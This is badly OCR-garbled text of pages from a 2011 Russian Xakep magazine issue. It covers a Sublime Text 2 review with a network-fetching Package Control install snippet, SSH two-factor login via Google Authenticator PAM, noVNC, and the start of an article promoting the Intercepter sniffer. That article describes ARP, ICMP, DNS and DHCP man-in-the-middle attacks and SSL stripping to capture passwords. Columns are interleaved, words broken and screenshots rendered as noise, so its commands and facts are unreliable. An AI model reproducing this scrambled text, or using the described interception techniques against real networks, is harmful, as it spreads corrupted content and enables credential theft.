менно. Работая под разными системами, больше не нужно использо­ вать целый зоопарк разных текстовых редакторов, переключаясь с SuЫime

Text 2. Интерфейс под Мае

одного интерфейса на другой и вспоминая горячие клавиши [а какой кади н г без хоткеев?J. Секрет кросс-платформеннысти отчасти кроется в пл атформе разработки, которую выбрали создатели редактора. В это сложно поверить, но SuЫime написа н на

Python'e!

Можно даже

нажать комбинацию Ctгl- · [тил ьд а!, чтобы в нижней части редактора появилась п олноценная Руthоп-консоль. С помощью

Python 'a мож н о API,

на лету управлять поведением редактора: есть специальные

которые используют соз д атели подключаемых плагинов. За кросс­

пла тформенное счастье с Python'oм внутри разработчики даже не требуют денег. Точнее говоря, просят, но не требуют. В т ечение несгра­ ниченнога триала, SuЫime лишь иногда будет напоминать: «Раз уж ты

так давно пользуешься программой, стало быть, есть за что отдать

$59

долларов его разработчику?>>. Очень честно .

УБОЙНЫЙ ИНТЕРФЕЙС Интерфейс SuЫime можно любить, а мож но ненавидеть. Он не похож ни на что другое. Разработчики подо шл и к этому вопросу творчески,

стараясь реализовать тот п уть работы с текстом, которые сами считают правильным. Тут нет тулбаров и вообще лишних элементов интерфей­

са. Толь ко код и его уменьшенная про екция [мини-карта! , отображаю-

030

ХАКЕР

11/154/2011


SuЫime

щаяся с правой стороны. Оформление вкладок честно подсмотрено

Soda

Text 2,

или кунг-фу кодинг

light.suЫirne-theme

у Chгome . Отступы и ограничения блоков наглядно выделяются едва заметными пунктирными линиями , как это реализовано в

Notepad++.

А в качестве цветовой схемы по умолчанию используется брутальный темный вариант, который не п ременно приелекает внимание тех, кто

1 (- Sod;~ ~k.subl!mc ~ theme

soda light

• FOLDERS .. Themt - Soda

заглядывает в экран твоего ноутбука. Вариантов цветовых схем-

тьма тьмущая, часть из них позаимствована из

TextMate.

з 11 4 11 TABS

703 Soda

s

577 Widget- Soda L lg ht . suЫime-settlngs

По началу

11 (

не замечаешь каких-то мелких деталей, но со временем начинаешь

ценить проработку мелочей . При выделении текста все пробелы и но очень приятно скругляются. Подсветка синтаксиса понимает, что

JavaScгipt, чтобы раскрасить соответствующий код. Всего из коробки

Sodt~

Llght. subllme- мшng.s

Ught unThtmt

background.png· •, • \eye rG.inner_llarotn": (1, 2 1, "\eyere.opecity": 1.е , "content_tllargin": (3, 4, 3, 3), "teb_over\ep": 24 , •teb_width": 188 , tab_tllin_width ~ : 48 , "teb_height": 28

"17

поддерживается большинство языков программирования : С, С++, С#,

18

CSS, О, Егlапg, HTML, Gгoovy, Haskell, HTML, Java, JavaScгipt , LaTeX, Lisp, Lua, Maгkdowп, Matlab, OCaml, Регl , РНР, Pythoп, R, Ruby, SQL, TCL, Textile и XM L. Никто не мешает с качать дополнительные схемы или

Soda Ught/Widget- Sod.a

577 Wldget- Sod1. Light.tmTheme

~е-кt:-,-,.-::.. :--:: .. Тh:-,.. --_ 7so< ~a-.t7 so":'d,-u :-:-: ,h:-t/:t--: ,.-,.-:-,_--'

11 12 13 14 15

для подеветки Н Т МL-исходника может пенадобиться еще и схема для

~

Llg ht .suЬiime-theme

Ught. subllme~thtmt

Soda UghtJWklgtt-

10

знаки табуляции выделяются спецсимволами , а уголочки незаметно,

Soc111

IJ

},

набросать свою собственную.

МИНИ-КАРТА КОДА Рассказывая об интерфейсе SuЫime, невозможно не остановиться на

Альте р н а ти вная и оч ен ь уда чн ая т ема

Soda

некоторых ноу-хау. Например , мини-карте кода , которая, как говорят

сами разработчики, показывает исходник с высоты

10 000 футов.

Это

КОМАНДНАЯ ПАНЕЛЬ Textmate, в SuЫime Text есть

узкая панель с правой стороны, на которой выводится масштабируемая

Как и в

копия текста. Здесь невозможно рассмотреть сам текст, но з ато сразу

удобный инструмент, который вызывается через меню

видна структура документа . И сразу понятно, какую часть сорца ты ре­

хоткеем Ctгl

дактируешь. Можно кликнуть в интересующее место карты- и SuЫime

ли ты вставить сниппет, вызвать макрос, выполнить преобразование

покажет этот кусок кода. Кто-то может спросить: а зачем зто н у жно?

текста [например, перевести все буквы в ЗАГЛАВНЫЕ!, - все это

Лучший способ ответить на этот вопрос -открыть в редакторе файл

можно сделать через Commaпd

вроде этого: pasteЬiп . com/гaw.php?i=7356гOZM

набираешь начальные символы названия элемента [скажем, сниппета

:1. Кто-то, возможно, и

командная панель . Это супер­

<<Tools>> или + Shift + Р [в Мае: Shift + Commaпd + Pl. Неважно, хочешь

Palette.

Просто нажимаешь хоткей,

против подоб н ых наворотов, но лично мне , по ощущением, мини-карта

Tгy/Exceptl- и SuЫime показывает нужные варианты .

действительно помогает в навигации по документу. д если эффектив­

кания-и любые сниппеты ты вставляешь в

ность увеличивается хоть на два процента , то почему бы и нет?

33

5 минут привы­

раза быстрее, чем если

бы сбивалея и ковырялся мышкой в меню. Причем элементы, выво­ дящиеся на командной па н ели, подстраиваются под тип файлов: для

РАЗНЫЕ РЕЖИМЫ ПРОСМОТРА

ру-исходника не будет лишних сниппетов, кроме заготовок для Pythoп .

Для тех, кто стремиться к максимальном у минимализму, есть свои

плюшки: в п ервую очере д ь, режим « Distгatioп Fгее Mode >> [Shift + F111.

GO ANYTHING

Вот уж где не будет никаких отвлекающих факторов- только ты и код.

Другая па н ель, о которой другие редакторы могуттолько мечтать, на­

SuЫime

зывается

Text скрывает абсолютно

все элементы редактора и ОС. Можно

«Go Anythiпg >>.

Название не врет: она действительно помогает

обойтись без фанатизма- работать в полноэкранном режиме, кото­

перейти в документе к чему угодно . Вызывается горячей клавишей Ctгl

рый также позволяет использовать каждый пиксел экрана , но при этом

+ Р [Мае: Commaпd + Pl. Далее есть варианты . Можно набрать название

с о х раняя удобные панели редактора, консоль и мини-карту редактора.

файла, чтобы открыть его . Поиск осуществляется по открытым файлам ,

На экран легко выводятся несколько файлов одновременно, доста­

файлам проекта, а также недавно закрытым документам. Результат ты

точно лишь выбрать через меню

[«View -7 Layout >>l п одходящую сетку.

При этом переключаться между такими панелями можно очень легко с

получаешь мг н овенно, по мере набора маски, даже если в п роекте

000 документов! Набирай в поле

помощью горячи х клавиш.

Хочешь перейти к нужной

":le". Вводим

10 строке

50

в текущем файле?

символ"#" и осуществляем простой

поиск по текущему файлу. Причем SuЬiime мгновенно отображает в списке подходящие под критерий элементы. Отдельно хочу обратить

внимание на поиск по символам [переменным, функциям, классам!. Для

Pac kage Co ntro l:

этого строку поиска надо начинать с символа "@".Таким образом, найти

и перейти к нужной функции- это пара нажатий на клавиатуру [кстати,

Package Control: Add Repository Package Control: DJS,,t)!e

Pac~aCJe

Package Control: Drsco\·e: Package Control: Er1,1!Jie Package Control:

для поиска по символам можно сразу использовать хоткей Ctгl + Rl. И здесь опять же работают подсказки и автокомплит. Механизм не только

P,,c~,1C:CS

быстрый, но и умный. Например, если ввести tpГcJгf, мы сможем переме­ ститься к функции

Рзс~мн?

том, что SuЫime

Package Control: _rs t Packages Package Control:

read_file

открытого файла

text_parser.py,

а

tp:1ee

перенесёт к 100-й строчке того же файлаl Секрет быстрого п оиска в

Jпstall Pac~,,ge

Text

в фоновом режиме подгружает файлы , которые с

большой вероятностью понадобятся тебе во время работы.

Rе:·ч~\·е Р.к~.1се

МНОЖЕСТВЕННОЕ ВЫДЕЛЕНИЕ

Package Control: L'pg:."c'e Рас~а~е Package Control: Acic Reposrto:y C:ыtl"el Package Control: Crea te Pac>:age F1!e

Еще одна улетная фича. Суть в том, чтобы не делать одинаковые из­ менения

10 раз,

а делать

10 изменений

разом. Ты можешьустановить

курсор в разных местах страницы- и набираемые символы будут ду­

Package Control:

c~·catc БР 1 (l:-у P.:lC~Jgc ~l!e

Package Control:

L ' p<:н a cie;O\ е:•:.лtе

A!i Pac~.1ges

блироваться во всех выбранных областях. То, что раньше приходилось выполнять с помощью регулярных выражений или поиска с заменой , теперь зачастую быстрее сделать через множественное выделение .

У пра в лен ие nа кета ми

ХА КЕР

11 / 154/ 2011

Самый простой вариант- просто зажать

Alt [или Commaпd под Мас'омl

031


PCZONE и потом кликнуть в тех местах документа, где нужно расположить кур­

сор. Или выбрать блок строк и нажать Shift + Ctгi/Commaпd + L-текст будет набираться на каждой из них . Но удобнее всего другой режим, по­

зволяющий отредактировать одинаковые элементы (названия функций, переменных и т.д.l Для этого надо поместить курсор на нужном слов е и затем несколько раз нажать Coпtгoi/Commaпd +О. Каждое нажатие­ каждое новое <<захваченное >> вхождение этого слова. Можно сразу по­ ставить дополнительный курсор во всех вхождениях нужного слова. Это

делается нажатием

Alt + FЗ под виндай и Ctгi+Commaпd+G под маком.

АВТОМАТИЗАЦИЯ Множественное выделение- не единственный способ сэкономить время на операциях с текстом. К твоим услугам классно реализованные функции поиска и замены. Рутину могут автоматизировать макросы ,

которые позволяют записывать действия с текстом, а потом их повто­ рять. Есть еще одна похожая опция- повторение последнего действия. Если покопаться в меню

Edit, то найдешь еще немало интересных

опций для редактирования. Например, сортировку текста или наоборот перемешивания строк . Для проектов на С++ есть фишка переключения

между хедером и файлом с реали з ацией- Alt-0 (File-Swap Неаdег/

lmplemeпtatioпl . Само собой, доступна система сборки . Поддерживают­ ся проекты, написанные на: О, Егlапg, Поиск реализован очень здорово и поддерживает регулярные выражения

Haskell, JavaC, Make, Pythoп , Ruby.

ПОДДЕРЖКА ПЛАГИНОВ Возможности редактора легкопрокачивается за счет подключаемы х

плагинов (которые, как и сам редактор, пишутся на Pythoп'el. Е с ли еще не так давно дополнительных па кетов было не так много, то

теперь есть из чего выбрать. Сказывается стремительное развитие редактора и ошеломляющий успех у программистов, которые рину­ лись реализовывать те фишки, которые они использовали в других

редакторах и не нашли из коробки в SuЫime

Text. Вместо того чтобы

вручную скачивать исходники аддонов и размещать в нужных дирек­

тория SuЫime'a, удобнее воспользоваться специальным менеджером

па кетов. Он пока недоступен по умолчанию (уверен , что временно), но сам реализован в виде подключаемого па кета. Чтобы установить

SuЫime

Package Contгol , нужно открыть внутреннюю консоль при­

ложения (напомню , что это полноценный Руthоn-интерпретатор) и вставить туда следующий сниппет кода :

import

urlliЬ2,os;pf= 'Package Control.suЫime-pac kage' ;

ipp=suЫime.iпstalled_packages_path();os.makedirs(ipp)

if

поt

os.path.exists(ipp) else

Nопе;

opeп(os.path.joiп(ipp,pf), ' wb' ).write(urllib2.urlopeп(

'http: /_/ suЫime . wboпd . net/ ' +pf. replace ( ' ' ,

' %2е'

) ) . read ())

После перезапуска приложения в меню т ы найдешь пункт << Pгefeгences ~

Мультивыделение

ВАЖНЫЕ ДОПОЛНЕНИЯ ДЛЯ

1

SuЫimeCodelntel b jЦ y/a5LzZE

2

Package

сопtгоl >>. Если выбрать в появившемся меню

SUBLIME ТЕХТ

suЫime-text-2-git

bjt .ly/r!na50

3

Clipboard history bjt .Jy/ratKEu

'

Mote Ьit.ly/mPieAO

Автокомпли~реализованныйв

Из коробки SuЫime не поддер­

Полезноедополнение,которое

SuЫime по умолчанию , не слишком

живает интеграцию с системами

внутри SuЫime Text реализует исто­

ровать файлы по протоколам sftp/

крут. Подключив этот плагин, ты по­

контроля версий. Но это упущение

рию изменений для буфера обмена

ssh2,предоставляямаксимально

лучишь всю мощь технологиия

Code lntelligence от известного Komodo

давноисправили энтузиасты, вы­

(аналог Oittol, позволяя быстро

прозрачное взаимодействие с фай­

пустив соответствующие плагины. С

обратиться к любому из элементов.

лами на сервере . Имей в виду. что

Editoг. Это не только правильный

помощью этого аддона ты сможешь

Причем в историю попадаюттолько

для работы ему необходимы бинар­

автокомпли~ноидополнительные

работать с репазитариями

те сниппеты кода, которые ты занес

ники известного клиента

подсказки при наборе кода, а также

Git. Аналогичные есть и для SVN, и

из SuЫime Text и только по горячей

как для поддержания соединения,

удобная навигация посорцам.

Meгcuгial .

клавише (Ctrl +С) .

так и генерации ключей .

032

Этот плагин позволяет редакти­

ХАКЕР

PuTTY-

11 / 154/2 011


SuЫime Text 2, или кунг-фу кодинг

ПОЛЕЗНЫЕ ТИПСЫ Если SuЫime Text не может определить

1

Если ты большой фанатVi'а, то тебя осо­

кодировку файла, то он автоматически

2

выбирает Windows 1252. Конечно,

беннодолженпорадоватьспециальный

«Vintage Mode ». Он vi и все удобные фичи Sublime Text'a, включая авто­ выделение. Этот режим no умолчанию отключен ,

можно открыть файл заново, принудительна

режим редактора

которые идут из коробки, но, если хочешь чего-то

чтобы не nугать неподготовленных nользовате­

Soda [ естьдве вариации -светлая и темная!. 1. Скачиваем .ziр-архив с GitНuЬ-странички про­

лей . Чтобы активировать его, придется открыть

этого нужно внести минимальные изменения

конфиг <<Pгefeгences

в конфиге [Pгefeгences

menu item » и убрать naкeтVinate из списка

-7 File settings Defaultl.

-7 GlobaiSettings -7 Default

игнорируемых [выключенных nа кетов!, поnравив следующую строчку:

"fallback_encoding" : "Western (Windows "ignored_packages" : [ "Vintage" ] 1/ было "ignored_packages" : []

1252)" , И меняем ее, соответственно, на:

Можно поиграться с другими темами,

nозволяетобъединить nривычные команды

выбрав кодировку IFile -7 Reopen with encoding -7 Windows 12511, но это быстро надоедает. Правильнее заставить Sublime выбирать по умолчанию не Windows 1252, а Windows 1251. Для

Находим там строчку:

3

На мой вкус, стандартная тема оформ­

ления Sublime Text выше всяких похвал.

// стало

особенного, рекомендую нестандартныетемы

екта I Ьit.ly/niMqТ7 1

2. Распаковываем файлы в каталогТhеmе -7 Soda и помещаем ее в папку Packages внутри Sublime Text. 3. Далее активируем схему, проnисывая ее в на­ стройках IPгefeгences -7 Useг GlobaiSettingsl. В зависимости оттемы: светлой [Soda Light . sublime-themel или темной [Soda Daгk. sublime-themel, вставляем нужную строчку в конфиг:

"fallback_encoding": "Cyrillic (Windows 1251)",

Перезаnусти Sublime. Нажми ESC.- если в статус-баре nоявилась знакомая надпись

"theme" : "Soda Light.sublime-theme"

INSERT MODE, значит, все заработало :1.

loaded 937

зn~pr;et.з

>>> .1r.-.pc:rt

З'iЗ

>>>

ПРОЕКТ

S'.r'~ .'le:r~.l'.Jn

'2 .6.5

(:r265:790Эб,

Mar 19 2010 ,

21 : 48:26)

/ИSС

'.'.1500 32

Ьн

(Int.el))

Не могу не пахвалить то, как в редакторе реализована система nроек­ тов. В проекте nолностью бэкаnится состояние редактора, включая все

J.rr,por-: ur lllb2, l1n~

о..з:рf=-

'Package Control .

.зuЬlнr.е

packaqe ' ;

233, Column 34

Spact~:

измененные и несохраненные файлы. Если тебе вдруг nо надобилось .1.рр-=зuЫны!. J.n~t;

2

Python внутри. Открываем консоль

nереключиться на другой nроект, ты ... nросто туда переключаешься. Например, через ту же па н ель «Goto Anything >>. Переключение проис­ ходит мгновенно. Без лишних лагов и десятка вопросов а-ля «Хотите

ли сохранить изменения? >> [потому что все изменения сохраняются ав­ томатически!. Когда ты в следующий раз откроешь проект, все будет в

«lnstall packet >>, то ты увидишь список аддонов, доступных для установ­ ки. Менеджер па кетов сам с качает все файлы и разместит их в нужных директориях- тебе остается лишь выбрать пакет.

том же виде, что и при закрытии. Чего тут лишние вопросы задавать? :1. Чтобы добавить файлы в проект, достаточно перетащить их на

сайдбар lпанель слева!. Заметь, не открывать !что часто не нужно! фай­ лы, а просто прилинковать нужные из них, добавив в список . Можно

ZEN CODING

даже перетащить целую директорию- SuЫime

Text обработает все

Чтобы ощутить всю мощь, которую предоставляют плагины, предлагаю

сразу. Сайдбар- это вообще довольно удобный инструмент для изуче­

подключить пакет Zen Coding. Этот аддон реализует хитрый способ

ния кода. Если кликнуть по какому-то из файлов проекта, то редактор

ускоренного написания

не будет открывать 153-ю ненужную вкладку, а просто отобразит ее.

HTML и CSS кода, которым я давно пользуюсь.

Идея заключается в применении специальной системы аббревиатур и

И в самом деле: зачем нужна вкладка, если нужно просто что-то посмо­

краткой записи кода, которые по определенным правилам «раскрыва­

треть внутри документа? Если же ты хочешь редактировать документ,

ются >> в полноценный код . Суть лучше всего объяснит пример.

по файлу нужно кликнуть дважды. Это удобно.

div#page>div.logo+ul#navigation>li*З>a

РЕЗЮМИРУЮ Из таких маленьких удобных фенек и состоит весь Sublime Text.

Наnисав этот код, нажимаем нехитрое ком ба на клавиатуре

lctгl+space, как для автодоnолненияl и nолучаем следующий результат:

Если попробовать описать программу в двух слова, то я бы назвал ее редактором-убийцей. Она работает под разными системами . Из короб­

ки предоставляет несколько уникальных фич . Разработчики уверенно

<div id="page" > <div class= "logo" ></div> <ul id= "navigation" > <li><a href="" ></a></li> <li><a href="" ></a></li> <li><a href= "" ></a></li> </ul> </div>

реализуют лучшие фичи из других продуктов, активно поддерживая

миграцию [реализовав, например, поддержку бандлов TextMatel. А те фишки, которых программистам не хватает, часто появляются реализованными в виде плагинов. Успех пугает состоявшихся игроков

рынка. Даже заскучавшие создатели TextMate'a засуетились под напо­ ром укрепляющегося конкурента, пообещав до конца года выпустить новую ветку своего продукта. Да, у SuЫime есть некоторые проблемы,

которые могут испугать- взять хотя бы необходимость ковыряться в текстовых конфигах. Но я уже с трудом представляю работу без этого

Освоив очень простые nравила [ Ьit .l y/pEAGgU I, ты ускоришь разработ­

быстрого редактора с классным интерфейсом, системой сниппетов,

ку разметки в разы. Вот хорошая демонстрация : Ьit . ly/pipbЗU . Поверь, это

удобным поиском и панелям

тот самый случай, когда лучше один раз увидеть, чем сто раз увидеть.

держкой zencoding. Рекомендую.

ХАКЕР

11 / 154/ 2011

«Go То Anything >>, мультиселектом и под­ I

033


PCZONE КОЛОНКАРЕДАКТОРА

Про двухфа кторную ав т оризацию

дляSSН смело могу д ат ь т ебе параль д л я с в оего акк а унта на

я

Gmail.

2.

Пробуем компилировать:

В от он : H dfkлj2 . Я точно з н аю, ч то ты н е сможешь получить доступ к почте без од н оразового ключа , который генери­

c d goog l e - authe nti cator/libpam/

рует специальное приложениена моем телефоне. И это благодаря

$ sudo make

двухфакторной авторизации, которую может включить каждый в настройках своего Gооglе-аккаунта. Но исполь з овать подобный ин­

Е сли сборка вывалится с ошибкой, то надо отредактировать

с трумент только д л я входа в

Makefile lпатч можно посмотре т ь здесь: Ьit . l y/g7ays JI .

GMail довольно скучно. Поэтому сегодня

я хочу по д ели т ься с тобой, как я прикрутил эту же с амую систему для

3. П ереносим модуль pam _ google _ authenti c atoг.so в / lib /secuгit y/, а

безо п асного входа на мои SS Н -серверы.

google-authenticatoг в / usг/Ьin.

Итак, двухфакторная аутен т ификация. Идея заключается в том , чтобы усилить ста н дартную схему авторизации « лаги н- па роль >>

дополнительным одноразовым клю ч ом. П оследний генерируется

4.

специаль н ым мобильным приложе н ием Google Authenticato г (ес т ь

Д алее добавляем строчку в /etc/pam.d/sshd, чтобы SSН-демон под­ гружа л на ш РАМ-модуль :

версии для iPhone, A n dгo i d, BlackBeг г y l на основе открытых алгорит­ мов и спе ц иа льн ого ключа, который есть у программы-генератора и

auth r equired pam_google_auth entic at o r. so

Google. Когда сервис п росит ввес т и од н оразовый ключ, н уж н о ввес т и И обновл я ем конфиг /etc/ssh/sshd_co nfig:

цифры с экрана те л ефона- и вход осуществлен. Если же ключа нет, то зайти в почту т ы не сможешь, п усть д аже у т ебя откуд а-то есть

nрав и ль н ые л аги н и п ара л ь (например, человек сказал тебе их сам , как только что с д елал я Н адо сказать, что

Chal lengeRespo nseAuthent ication yes

:1.

Google развивает и дею двухфакторной автори­

5.

зации в п р авиль н ом н а п рав л ении . Исход н ики моби л ьных п риложений

Все, те n ерь все подключено. Осталось настроить саму д вухфактор ­ ную авторизацию , сгенерировав секретный ключ:

откры т о д оступ н ы, а в качес т ве алгоритмов используются чер н овики

альянса ОАТН (ln itiative fог Open Authe nti cationl, который поддерживают

$ goog l e - aut hent i cat o r

многие известные ве н дары lв том чис л е Symantec и VeгiSignl. Н о что

https://www . googl e.com/c hart ?chs=200x2ee& .. FBPWIL6PRYLVBQ Yo ur new secret key i s: YO FBPW IL бPRY LVB Q

еще более важно: п омимо утилит дл я ге н ерации кодов ,

Google предла­

гает е щ е и вторую часть системы, кото р ая эти самые ключи п роверяет.

Ты беспре п ятс т вен н о може ш ь с ка ч ать n о д ключаемый мо дуль аутенти­

6.

Получен н ый л ин к мож н о откр ыт ь в бра у зере. Н а экране появится

QRGoog le

фика ц ии IPAMI и использовать п р елести двухфакторной авториза ц ии ,

код, ко т орый нужно сосканировать нателефоне приложением

на п р и мер, в

Authen ti catoг, чтобы то, в свою очередь, сохрани л о сге н ерирова н ный

OpenSS H.

секретный ключ . Заметь, п р ог р амма по-прежнему буд ет г е н ериро ­

За г ружаемисходники РАМ - мо дуля из

1.

hg cl one http s : // googl e-a uth ent ic ator.googl ecod e . com/ hg/ goog l e- auth enti cator /

1 Ud~n :

search

~rmlnal

tlelp

Ребу т аем

а

SS HD, чтобы изменения вс т упили в си л у, и убеж д аемся,

что д ля по д ключения те п ерь нужен еще и временный ключ! :Х:

2:13

oogle

ntu :-S ./ooogte· authenticator

. ,yuogl.e -authentlcator : I s

yastepOubuntu:-s cd

7.

)П '::;::-

astep~ubuntu tusr{Ыn

~ew

вать ключи идлятвоегоаккаунта в Google (само собой, р азн ы е!.

Google Code хранилища:

50 %~

Authenticator

directory

t usrt Ыn

astep@Ubuntu :/usr/ ЫnS googte -authf!nticator ht tps : 1/ Wttl. goog \е. COfl/ chart?chs=288x268&ch tcl: p@ubunt U\ЗFsecret\ЗDYOF

860510

Р У v OFSPWIL6PRYLVBQ

our new secret key is :

stepaл.ityin 3gma~ .com

Vour ver!ficati on code s our u.ergency scratch codes are: 37214335

16813261

12254763

34485257

yastep@ uЬuntu

1397836& 52716828

Do you want о

Ее

to update your · - t. google_auth•

you want to disa\tow

мu\t i pte

Настраиваем РАМ - модуль

ОЭt.

uses of the : Сканируем QR-код нателефоне

Получа е м временный к люч

Вводим ключ при подключении

ХАКЕР

11 / 154/2 011


Proof-of-Concept VNС-КЛИЕНТ НА

HTML5

Каждый раз, когда речь заходит о решении для удаленного подключения к рабочему столу, мы всегда обращаем внимание на важный момент: можно ли использовать его прямо из браузера?

Многие известные продукты предоставляют подобный функционал, но веб-клиент реализован при помощи

noVNC

Java

или

Flash. Создатели

пошли дальше. Это первая реализация VNС-клиента,

полностью написанная на HTML5 [WebSockets + Canvas].

WebSockets, проект включает в себя websocket-js-этo эмулятор WebSockets, исполь­ зующий для работы Adobe Flash. Быстрый движок Javascгipt Engine. Если бы у браузеране было быстрого JS-движка, едва ли удалось реализовать полноценный про­ токол

RFB.

На практике лучше всего подходят Chгome и Fiгefox, которые используют технологию Native

WebSockets.

ЧТО ВНУТРИ Технология VNC IViгtual Netwoгk Computingl давно

HTML5. Фишка в том, что такая реализация будет

пoVNC- это композиция нескольких модулей, которые рендерят изображения, обрабатывают

стала одним из наиболее популярных решений

нормально функционировать вообще на любом

для подключения к удаленному рабочем столу. В

устройстве, для которого есть браузер, п оддержи­

ввод данных, поддерживают сетевое соеди­

ее основе лежит проверенный временем протокол

вающий новые стандарты.

нение . Каждый из модулей написан таким

RFB lгemote fгamebuffeг]. У lntel даже появилась -lntel KVM, благодаря

его аппаратная реализация

которой ты можешь удаленно подключиться к

образом, чтобы работать под разными браузе­

ТРЕБОВАНИЯ

рами. Наиболее важными являются, во-первых,

Display linclude/display.jsl, который занимается

компьютеру еще до запуска о перац ионной систе­

noVNC использует самые современные воз­ можности HTML5, поэтому главные требования

рендерингом изображений с помощью НТМL5-

мы. VNС-клиенты можно найти для любых ОС, в

проект предъявляет к браузеру. Он должен

элемента canvas, во-вторых, RFB linclude/гfb.js],

том числе и мобильных . Но теперь есть реализа­

поддерживать:

являющийся основным классом для реализации

ция, которая вообще не зависит от платформы.

• •

noVNC l kaпaka.github.com/пoVNC I работает в браузереи использует лишь только возможности

HTML5 Caпvas lc cгeatelmageDatal. НТМ L5 WebSockets. Для тех браузеров, которые не имеютвстроеннойподдержки

протокола RFB, и, в-третьих, Websock linclude/ network.jsl, который используется для передачи данных Native WebSockets и автоматически переключается на технологию Flash Websocket в случае необходимости .

КАК ИСПОЛЬЗОВАТЬ? До тех пор, пока ты не используешь VNC-cepвep с поддержкой соединений через

WebSockets

!таких как x11vnc/libvncseгveгl, тебе придется использоватьспециальныйпрокси -с ервер

Web5ockets2TCP. К счастью, реализация такого посредника, написанная на Python, включена в проект !это websockifyl и, что важно, имеет встроенную поддержку SSL/ТLS-шифрования 1 "wss://"1. Для начала работы есть специальный скрипт, который запустит mini-webseгveг, на

котором дальше будет принимать подключения, и WebSockets-пpoкcи. В параметрах необходимо указать адрес запущен н ого VNС-демона:

./utils/launc h .s h --vnc localhost:S9el Прокси после запуска выдаст URL, который необходимо вставить в браузер. Далее останет­ ся нажать на кнопку «Connect >> и наслаждаться подключением. Запущенная прокси будет принимать подключения и транслировать их

noVNC не требует ничего,

ХАКЕР

11 /154/ 2011

кроме браузерас

HTML5

реальному VNC-cepвepy. ::Х::

035


PCZONE

О том , что снифер

Ares lintercepter.nerf.rul

Ox4553-lntercepter-

инструмент исключительный, писал еще Крис Касперски в далеком

2008

году. С тех пор этот

чумовой виндовый снифер обзавелся еще более убойным функцианалом для реализации МIТМ-атак .

ПРАВИЛЬНЫЕ МIТМ-АТАКИ ПOДWINDOWS

В том числе техниками для перехвата па ролей, которые должны передаваться по

SSL.

Сни ер+ МIТМ-атаки -

Ox4553-l ntercepter 036

ХАКЕР

11/154/2011


Снифер + МIТМ-атаки = Ox4553-lnteгcepteг

Remote Сарtи~е jrpcap:/ /192.168.0.50 1 not ho Г On To/From 192.168.1 .2:80/19... 74.125.39.84:80/1 ... 192.168.1.2:80/19... 74.125.39.18:80/1 ... 192.168.1.2:80/19...

Web Site visit.. . Web Site visit... HПPAuth

Host accounts.google.com accounts.google.com 192.168.1.1 11 192.168.1.5 www.paypal.com

Username asdf asdf gmail.com gmail.com adsf

ARP Poison From- - - - - - - - - - ,

Password asdfadsf asdfadsf

20:36:18... 20:36:18... 20:36:18... 20:36:17...

192.168.1.2:80/19... 66.211 .169.65:80/... 192.168.1.2:80/19... 173.0.84.3:80/192...

192.168.1.111 192.168.1.5 192.168.1.111 192.168.1.5

1 192

-

г-:-:19:::-2-.1~6:::-8-. -:----:--

r

lllll#~!l~t.i•ICJ#IёiMI$:t..iiii*I?J81:11tMU&JDШt!Jф!i§.J, ,AWI$Q

Web Site visit ... Web Site visit... Web Site visit... Web Site visit...

r

. 168 .

5

то l

Add

www.paypal.com www.paypal.com paypal.com payoal.com

Delete

192.168.1.5 ·> 192.168.1.1 192.168.1.1 ·> 192.168.1.5 S top Poisoning Change МАС 4487fc73624e

1.~1:!0

CJ1101 1QI101

1

Change

1 1

Reset

Configи~ation

~ Resolve Hosts О Autosave ~ GridView О eXtreme Mode ~ Promisc ~ Unique Data

ы

@

@

\Packets: 3348 (l.SбMb)

О CaptUie Only

IRC\BNC

О Only Data lM Ports- - - - ,

f'6665Тs6e

J5190.9898.5222.5(

г НТТР =-1 г SOCKS

::l

L~ LI1oвo ~ VW

lнosts Found : lr:cc-u_rr_e-n t_m _ o-, de- :-:Pc-a-ss_w_o-rd-:w-:-in- d-:-o-w-'----'= " - - lstatus:

IParsed: 300

Ox4553-lntercepter показывает перехваченные пароли

В ЧЕМ УНИКАЛЬНОСТЬ

INTERCEPTER?

атак . С версии 0.8 в состав lnteгcepteг добавился так называемый

Достойных сниферов с таким огромным багажом реализованнных атак

Ох4553-NАТ. Это полноценный NAT, не требующий устано вки и зани­

под

мающий пару сотен килобайт, которым можно раздавать интернет в

Windows почти нет. На то есть несколько причин. Основная пробле­

ма заключается в отсутствии штатных инструментов маршрутизации.

небольших локальных сетях или дома. Он поддерживает трансляцию

Если в каждом unix'e есть средства типа iptaЫes, при помощи которых

па кетов из etheгnet в РРРоЕ-соединение АОSL-модема и трансляцию

можно без труда добавить необходимые правила перенаправления

FТР-сеансов. Помимо этого была реализована давно задуманная

па кетов, то в винде, а тем более в ее клиентских версиях, ничего подоб­

атака на се ти с DHCP- DHCP MITM . И вот сейчас, спустя долгое вре­

ного нет. Е стес твенно, писать свой NAT !или упрощенный ip foгwaгdeгl

мя, вышло еще несколько довольно крупных обновлений, реализую­

ради какого-то единичного примера мало кто станет. Различные

щи х новые интересные техники атак.

техники под Windows представлены, как правило, в виде простеньки х

1. ICMP Redirect МIТМ . Эта малораспространенная техника перехвата

ргооf of сопсерt и н е более. Впрочем , чего таить, и под uпix сложно найти что-то похожее на lnteгcepteг. Тот же самый etteгcap под unix состоит из различных приложений: одно отвечает за агр-спуфинг, другое- за гра­

бинг па ролей, а sslstгip и вовсе самостоятельное приложение. Все это требует ручной настройки из-под консоли. Получается, что и под unix, даже при всей мощи доступны х инструментов, нет ни одного достойного

GUI-приложения, которое совмещало бы в себе все сразу. lпtегсерtег же является таким инструментом и содержит в себе целый набор от­

тестированных и законченных техник сетевых атак. К пример у, недавно реализованные техники SSL MITM и SSL Stгip для пер ехвата па ролей, которые должны бы передаваться по защищенному соединению, могут

ARP, ICMP, DNS оvег ICMP, DHCP. Во всех случаях используется скрытная маршрутизация через не существующие в сети IP- и МАС-адреса, таким образом, жерт­

трафика имеет довольно узкое применение, позволяя перехваты­ вать данные между единичными хостами .

2. DNS over ICMP МIТМ. Совершенно новая техника, раскрывающая весь потенциал ICMP Rediгect. Перехватывая клиентский DNScepвep, мы можем перехватить все соединения с хостами, которые

были отрезольвены через DNS. 3. SSL МIТМ. Классическая техника подмены сертификатов, по зво­ ляет перехватыватьданные любых протоколов, защищенных при

помощи SSL !поддерживаются SSLv2, SSLvЗ, TLSv11. 4. SSLStrip. Практически не встречающаяся техника под Windows. Аналог известного sslstrip под unix.

использоваться с любым из имеющихся МIТМ'ов:

Каждая из этих техник заслуживает внимания, но начать я хочу с описания атаки

DHCP MITM, которая появилась еще год назад.

вы не смогут определить источник нападения. Сегодня мы не будем

останавливаться на базовом функционале снифера IРОF-версию статьи

ОНСР

MITM

Криса ты можешь найти на диске! , а коснемся самого сочного - новых

